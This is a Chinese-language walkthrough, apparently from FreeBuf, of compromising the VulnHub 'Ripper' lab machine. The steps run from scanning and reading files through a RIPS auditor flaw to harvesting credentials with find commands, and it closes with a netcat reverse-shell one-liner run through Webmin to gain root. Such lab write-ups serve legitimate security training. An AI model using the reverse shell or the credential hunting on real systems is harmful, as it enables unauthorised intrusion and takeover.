官方公众号企业安全新浪微博
FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。
FreeBuf+小程序
靶场搭建
靶场下载地址:https://download.vulnhub.com/ripper/Ripper.ova
下载下来是虚拟机.ovf压缩文件,这个靶机是VirtualBox的,直接用VM打开会报错想要用VM打开可以看我这篇文章:https://www.freebuf.com/sectool/343724.html
打开后把网络模式设置为NAT模式(桥接模式也可以,和kali攻击机保持一致就可以)
开启虚拟机
靶场搭建完毕
渗透测试
由于不知道靶机ip,所以需要扫描NAT的网段
147为kali攻击机的ip,所以148为靶机ip
扫描靶机端口服务开放情况
开放了22端口,存在SSH服务
开放了80端口存在http服务,且中间件为Apache2.4.29
开放了10000端口,存在http服务,且中间件为MiniServ1.910(Webmin)
先访问一下80端口的WEB
为Apache初始页面
搜索一下敏感目录,使用了不同工具不同字典,但是没有发现其它敏感目录
所以我们先去看一下10000端口的WEB
让我们访问https://bogon:10000。,所以我们需要把这个域名添加到hosts文件中
访问发现是Webmin的后台登录页面
先尝试一下是否存在admin/admin/admin123这样的弱口令,发现不存在
搜索一下敏感目录
发现存在robots.txt,里面有一段base64编码
解码
提示说他们用rips扫描php代码
通过搜索知道它是一个PHP源代码审计工具RIPS
并且使用rips,可能会存在rips路径
尝试访问,发现没有
猜测可能是在80端口上,尝试访问,发现果然再80端口上
这是一个代码审计,找是否存在漏洞的自动化工具,所以我们再WEB的根目录(/var/www)扫描,并且勾选扫描子目录选项,进行扫描
扫描成功,查看结果
查找看是否存在可以利用的漏洞,发现存在文件泄露并且存在file参数
尝试利用,发现可以读网站根路径下的文件,但是不能读取web路径以外的路径
发现这个漏洞只能用于读取文件,不会进行解析
所以我们只能尝试去读取一些敏感信息
这个代码审计工具有搜索的功能,尝试看能不能搜索到关于账号密码的信息
搜索发现了一组用户名和密码
ssh服务是开启的,尝试登录,发现登录成功
获得到第一个flag
还发现一个可疑文件,但是为空,好像是让我们sudo提权为admin
但是发现没有sudo命令
在/home目录下发现还存在一个叫做cubes的用户,我们可能需要先提权到这个用户
使用其它方式提权
需要提权到cubes用户,所以我们现在找cubes权限的文件,并且可以被ripper读的文件
通过命令
find / -user cubes -type f -exec ls -al {} \; 2>/dev/null查看cubes用户权限的文件
发现secret.file文件,查看文件
发现一段密码,猜测是cubes用户的密码,尝试登录,登录成功
尝试再次提权到root,sudo提权、suid提权、内核提权都不行
在尝试通过同样的方法在找找有什么其它特殊文件
发现有很多没用的目录和文件,经过过滤得到结果
find / -user cubes -type f -exec ls -al {} \; 2>/dev/null | grep -v '.png' | grep -v '/proc' | grep -v '/sys'
发现一个miniser.log日志文件
在其中发现一对账号密码
猜测是登录webmin后台的,因为在webmin目录下
尝试登陆,登录成功
在左下角发现可以直接执行命令
发现权限为root
利用这个命令执行再反弹一个shell
先监听端口,然后执行命令
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.52.147 4444 >/tmp/f
获得第二个flag
此版本的webmin也存在rce漏洞,但是也需要账号密码,登陆后也可以通过漏洞来获得shell。